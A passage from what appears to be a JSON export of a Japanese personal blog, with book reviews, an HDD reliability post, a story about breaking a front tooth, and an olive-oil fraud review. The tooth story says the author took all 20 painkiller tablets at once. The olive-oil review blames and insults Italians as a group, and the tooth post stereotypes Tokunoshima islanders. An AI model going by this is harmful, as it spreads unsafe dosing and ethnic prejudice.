src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4767814553\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n建設業界の経営層やマネジメント層のエンジニアへのインタビュー集。プロジェクトマネジメントの欠如が現場の努力で賄われるという構造は建設業界でもふつうにあるんだなあということが伺われる本。\r\n\r\n** 業界のマネジメントはドカタよりも酷い!!などと訳の分からない自虐をする者がよくいるが、その建設業界も大して事情は変わらんようなので訳の分からない自虐はとりあえずやめましょう。\r\n\r\nこのような紹介の仕方になり土木建築にかかわる皆様にはまあ失礼極まりない感じになってしまいましたが、上のような観点以外から読んでも純粋に面白い本です。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4061591274/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4061591274\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eガリア戦記 (講談社学術文庫)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4061591274\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4061591274\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4061592343\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n現代において軍隊とはエンジニアの集団だとはよく言われることだけど、そのエンジニアの集団たる軍隊のパイオニアといえばやはりローマ帝国の軍隊なのではないか。\r\n\r\nカエサルのガリア戦記と内乱記は技術者の視点からとらえた歴史という価値を持っていると言える。そもそも圧倒的に技術水準が違う集団同士の戦争というのは、戦争にすらならないので発生しえない。\r\n\r\nしかしながらカエサルの対ガリア侵略は、カエサルの国内政治上の私的野心によって発生したものであるから、圧倒的に技術力があるローマが政治的理由により極めて限定された兵力で、大兵力の未開民族を攻撃するという変則的なものとなったため戦争らしい戦争になった。\r\n\r\n結果として、技術力というものの力をもっとも分かりやすく説明してくれる状況が現出している。ガリアでの技術者と未開民族の戦争、そしてローマ内戦における技術者同士の戦争を比較した時、技術の力がはっきりと見えてくる。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/B00LQ5K0XK/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00LQ5K0XK\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eワイド版世界の大思想 第2期〈12〉ウェーバー\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00LQ5K0XK\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00LQ5K0XK\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nいわゆる大企業病などと呼ばれる症状は、この全集にふくまれる支配の社会学がすべてを説明している。じゃあどうすべきかみたいな話はヨーゼフ・シュンペーターが説くところだけれども、ウェーバーが支配の諸類型などで示したところとあわせて考えると官僚化した組織は結局のところカリスマが出てこなければどうにもならないことが示唆される。\r\n\r\nいずれにせよ我々が考えるような組織の問題は 19 世紀末から 20 世紀初頭に既にほとんどが問題提起されており、そしてほとんどろくに解決を見ていないことがこうした古典からうかがわれる。一エンジニアが官僚化した組織に対してできることなど、逃げることぐらいなのではないか。\r\n\r\nそれにしてもこの分量のウェーバーの本をとても安価に読めるようになって、いい時代になった。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4150305692/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4150305692\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e終わりなき索敵 [航空宇宙軍史] (ハヤカワ文庫JA 569)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4150305692\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4150305692\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4150305706\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nプロジェクトマネジメントの失敗例がこれでもかというほど出てくる小説。主人公のロックウッドが所属する航空宇宙軍は、技術力の軽視、スケジュールの甘さ、問題の優先順位の取り違え、無責任な指導体制、情報収集の軽視といったありとあらゆるプロジェクトマネジメントのアンチパターンを踏みまくった挙句に大事故を起こし宇宙人との戦争に敗北してゆく。\r\n\r\n技術者なら誰でも辛い気持ちになれる名作。","created_at":"2014-12-19T09:46:09.000Z","updated_at":"2014-12-19T09:46:09.000Z"},{"id":2776,"name":"text/WD Green や Seagate の故障率","body":"%blog WD Green や Seagate の HDD の故障率\r\n\r\n表題の件について、個人ユーザーが「WD Green や Seagate はすぐ壊れるからだめ」みたいなことを言っているのをよく見ますが、\r\n\r\n- 頻繁に電源を入れたり切ったりする個人ユーザーではありがちな環境\r\n- ほこりが多かったり住宅の環境自体が悪い\r\n- 運用が適当\r\n\r\nといった問題で故障率は大幅に上昇しますから、 HDD に何選ぼうが大してかわりゃしません。そして何より HDD の故障の原因となるのは、システムに繋がず電源切ったまま放置しておくことです。壊したくなければ常に電源入れときましょう。\r\n\r\nそして HDD の故障率云々以上に rm コマンド間違えて打ったとかによるデータロストのリスクの方がはるかに大きいのではないでしょうか。\r\n\r\n運用環境が悪いのを WD Green や Seagate のせいにするな、 [WD Green はソフトウェア RAID なら特に問題はない](http://ssig33.com/text/WD%20Green%20%E3%82%92%20mdadm%20%E3%81%A7%E4%BD%BF%E3%81%86)、黙って一番安いのを買え。壊れたら HDD じゃなくてお前の責任だけどまあだいたい交換保証はあるだろうからとっとと交換しろ。 HDD は壊れるから RAID とバックアップ組み合わせてちゃんとやれ。\r\n\r\nということは強く言っていきたいと思っています。","created_at":"2014-12-22T12:42:01.000Z","updated_at":"2014-12-22T12:42:01.000Z"},{"id":2777,"name":"text/WD Green や Seagate の故障率","body":"%blog% WD Green や Seagate の HDD の故障率\r\n\r\n表題の件について、個人ユーザーが「WD Green や Seagate はすぐ壊れるからだめ」みたいなことを言っているのをよく見ますが、\r\n\r\n- 頻繁に電源を入れたり切ったりする個人ユーザーではありがちな環境\r\n- ほこりが多かったり住宅の環境自体が悪い\r\n- 運用が適当\r\n\r\nといった問題で故障率は大幅に上昇しますから、 HDD に何選ぼうが大してかわりゃしません。そして何より HDD の故障の原因となるのは、システムに繋がず電源切ったまま放置しておくことです。壊したくなければ常に電源入れときましょう。\r\n\r\nそして HDD の故障率云々以上に rm コマンド間違えて打ったとかによるデータロストのリスクの方がはるかに大きいのではないでしょうか。\r\n\r\n運用環境が悪いのを WD Green や Seagate のせいにするな、 [WD Green はソフトウェア RAID なら特に問題はない](http://ssig33.com/text/WD%20Green%20%E3%82%92%20mdadm%20%E3%81%A7%E4%BD%BF%E3%81%86)、黙って一番安いのを買え。壊れたら HDD じゃなくてお前の責任だけどまあだいたい交換保証はあるだろうからとっとと交換しろ。 HDD は壊れるから RAID とバックアップ組み合わせてちゃんとやれ。\r\n\r\nということは強く言っていきたいと思っています。","created_at":"2014-12-22T12:42:09.000Z","updated_at":"2014-12-22T12:42:09.000Z"},{"id":2778,"name":"text/歯の思い出","body":"%blog%\r\n\r\nQuyo とかすぐなくなりそうだし自分のブログに書く。\r\n\r\n今年前歯を折った。折った直後に自撮りしたのを見ると、 9 か月前の話。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/menPAFPxKU/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e転んだところ歯が折れたということを共有いたします\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2014-04-07T06:20:03+00:00\"\u003e 4月 4, 2014 at 11:20午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/mb0GW8vxEd/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e変な岩\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2014-04-06T04:14:45+00:00\"\u003e 4月 4, 2014 at 9:14午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nこの岩場みたいなところで転んだら折れた。ここは徳田虎雄が支配する島徳之島で、人々の気質は荒く、ギャンブルと喧嘩とセックスに支配されている(本当)。\r\n\r\n地元の新聞とかもマジで頭おかしくて、この記事が美談として掲載されている。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/mZZXCtPxNE/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003e徳之島というのがどういうところか紹介されている記事です\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2014-04-05T05:42:37+00:00\"\u003e 4月 4, 2014 at 10:42午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nそれはそうとして。折った直後はあっ折れたーみたいな感じで、驚きがまずあった。痛みはあまりなかったが、いずれ激しく痛むこと予想されたので、痛み止めを買って 20 錠全部飲んだ。\r\n\r\nその日は徳之島からの帰国日だったので、とりあえず子宝空港というサイケな名前の空港に行って、鹿児島空港でトランジットして帰国した。痛み止めが効いていたので羽田空港ではラーメンを食べた。歯が折れていて、食べづらい。\r\n\r\nその日のうちに歯医者を予約する。かねてから通っている歯医者で、予約を取りづらいのだけど腕は信用している。歯が折れたというのは緊急事態なので、無理やり枠を作ってくれた。\r\n\r\n翌日、朝起きると口がもうとにかく異常に痛い。意識がもうろうとしたまま、遠くにある歯医者に行く。歯医者で歯の様子をみるためにたたかれると激痛で叫ぶ。 X 線写真を撮るために口に入れられる何かが痛い。\r\n\r\nこの日はどういう治療したかよく覚えてないんだけど、なんか最終的には粘土みたいので歯もどきみたいのをつけてくれた。\r\n\r\n神経を残して歯を復旧するか、神経を除去するかの決断には、比較的長い時間がかかった。歯もどきみたいのに何かが触れると激痛みたいな状態が延々と続いたので、結局神経はとって差し歯にすることになった。\r\n\r\n差し歯にはグレードがいくつかあって、保険が効くものは後に変色するという。なんかいろいろ説明を聞いて、焼き物の歯を入れてもらうことにした。焼き物の歯は中間グレードらしい。\r\n\r\n神経の除去には長い時間がかかった。そもそも歯医者が混雑しており予約しづらいことと、神経取り切ったと思ってもカスが残っていてそれで激痛するということが何度かあった。\r\n\r\n神経を取り切った後に、冷たい牛乳を飲んだ時には歯に感覚が無く驚いたことをよく覚えている。俺は駅とかでうっている缶入りの牛乳が好きだ。\r\n\r\nいろいろあって差し歯がついたころには 12 月になっていた。歯は高かった。歯が無い時期、知的能力も精神的活力も大幅に低下していたことを覚えている。恐らくイモトアヤコも歯が無いことにより判断力が低下していた時期があったのではないかと思っている。判断力が無い人に過酷なロケさせるのよくないよなどと思った。これが歯がついた時の感想だった。\r\n\r\n新しい歯になれるのには、 1 週間がかかった。今ようやく、自分には前歯があるということを意識しないようになった。気づくとごく自然に前歯で物を噛み切っている。犬歯と舌でこそげとるようにものを食べるあの醜い俺はようやくいなくなった。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"4\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://instagram.com/p/xBJmy_PxKM/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_top\"\u003eこれは歯です\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2014-12-25T05:28:31+00:00\"\u003e12月 12, 2014 at 9:28午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n新しい前歯はこのような色にした。歯科医からは、前歯なので周囲の歯より明るくすることをすすめられたが、目立つのがいやなのでこのようにした。\r\n\r\n\u003e ![maaya](http://shinbishika-guide.com/wp-content/uploads/2014/10/uchida-maaya-02.gif)\r\n\u003e\r\n\u003e - [内田真礼の前歯は目立っている。](http://shinbishika-guide.com/uchida-maaya/)\r\n\r\nこのブログは、有名人の歯を分析している異常なブログで、[声優の歯のまとめ](http://shinbishika-guide.com/tag/%E5%A3%B0%E5%84%AA/)とかを読める。これを見て目立つのはよくないなと思った。\r\n\r\n### まとめ\r\n前に[爪を裁断機で切り落とした](http://text.ssig33.com/55)んだけど、歯が折れるのはそれよりもはるかに厳しい体験だった。","created_at":"2014-12-25T05:46:28.000Z","updated_at":"2014-12-25T05:46:28.000Z"},{"id":2779,"name":"text/なぜ Slack が現状最強のチャットサービスなのか","body":"%blog%\r\n\r\n# [A. IRC Gateway がある](https://slack.zendesk.com/hc/en-us/articles/201727913-Connecting-to-Slack-over-IRC-and-XMPP)","created_at":"2015-01-06T02:00:46.000Z","updated_at":"2015-01-06T02:00:46.000Z"},{"id":2780,"name":"text/インターネットが面白くなくなった","body":"%blog%\r\n\r\nインターネットが面白くなくなっただとか、アニメが面白くなくなっただとか、金を使うような面白いものがなくなっただとか、そういうことを言う人がだいたい常にいます。\r\n\r\nそういう現象を一言で表す言葉があって「**老い**」と言います。\r\n\r\n老いは誰にでも来るものですしそれはしょうがないです。アニメは面白いですし、インターネットで意味不明な面白いことやってる人は今でもたくさんいます。\r\n\r\nさて老いてなんで意欲が減退するかというと、筋力が落ちるからです。筋力が落ちると精神力も落ちてわざわざインターネットしたりアニメみたりする気も無くなってきますから、筋肉を鍛えよう。","created_at":"2015-01-07T06:39:51.000Z","updated_at":"2015-01-07T06:39:51.000Z"},{"id":2781,"name":"text/エキストラバージン読んだ","body":"%blog% エクストラバージンの嘘と真実読んだ\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/482224928X/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=482224928X\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eエキストラバージンの嘘と真実 スキャンダルにまみれたオリーブオイルの世界\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=482224928X\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=482224928X\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこれ読んだ。著者のオリーブオイルに対する思い入れと、オリーブオイルの不正に関する雑多な文章が無秩序に並べてあって結構読みづらい本なのだけど、面白いことは面白い。\r\n\r\n「著者のオリーブオイルに対する思い入れ」の部分は非常に非論理的かつ非科学的でほとんど価値はない。しかし「オリーブオイルの不正」に関するパートは非常に面白い。\r\n\r\nこのパートを要約すると\r\n\r\n- 低質なオリーブオイルや菜種油、大豆油に上質なオリーブオイルをわずかに混ぜたものを上質なオリーブオイルとして売る詐欺行為が頻繁に行われている\r\n- それらの詐欺行為はイタリア人とカリフォルニア人が主に行っている\r\n\r\nとのことだった。カリフォルニアにはヨーロッパ系アメリカ人が特に多いことが知られている。カリフォルニアにおいてもイタリア人が犯罪行為を主導していると考えるのが極自然だ。ようするにイタリア人がオリーブオイルに関する不正を世界規模で主導しているということだ。\r\n\r\n著者は不正なオイルを掴まされずに上質なエクストラバージンオリーブオイルを選ぶ方法についてもとうとうと述べているが、最低限必要なことはイタリア製であるとか、マーケティングワードにイタリアという言葉を含んでいるオイルを避けるということであるのは明らかだ。\r\n\r\n日本の小豆島のオイルは比較的高品質であることが知られているが、生産量が極僅少であるためコストパフォーマンスが著しく悪い。この本の中で著者はオーストラリア産オイルが有望な新興勢力であると述べている。そのオーストラリアのオリーブオイルにしたところで日本国内で入手可能なものは比較的高額だ。\r\n\r\n高品質オリーブオイルを入手したい場合は\r\n\r\n- 最低限イタリアが関わるものは避ける\r\n- 著者は 1L 10 ユーロを下回るものはまず偽装と述べているので、 1L 1500 円以上のものを買う\r\n- 余裕がある場合オーストラリア産オイルを買う\r\n\r\nという対応が望ましいと本書を読んだ思いました。イタリア人マジで糞ですねという感想になるのでイタリア好きな人は読まないほうがいいです。","created_at":"2015-01-12T07:22:57.000Z","updated_at":"2015-01-12T07:22:57.000Z"},{"id":2782,"name":"text/エキストラバージン読んだ","body":"%blog% エクストラバージンの嘘と真実読んだ\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/482224928X/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=482224928X\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eエキストラバージンの嘘と真実 スキャンダルにまみれたオリーブオイルの世界\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=482224928X\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=482224928X\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこれ読んだ。著者のオリーブオイルに対する思い入れと、オリーブオイルの不正に関する雑多な文章が無秩序に並べてあって結構読みづらい本なのだけど、面白いことは面白い。\r\n\r\n「著者のオリーブオイルに対する思い入れ」の部分は非常に非論理的かつ非科学的でほとんど価値はない。しかし「オリーブオイルの不正」に関するパートは非常に面白い。\r\n\r\nこのパートを要約すると\r\n\r\n- 低質なオリーブオイルや菜種油、大豆油に上質なオリーブオイルをわずかに混ぜたものを上質なオリーブオイルとして売る詐欺行為が頻繁に行われている\r\n- 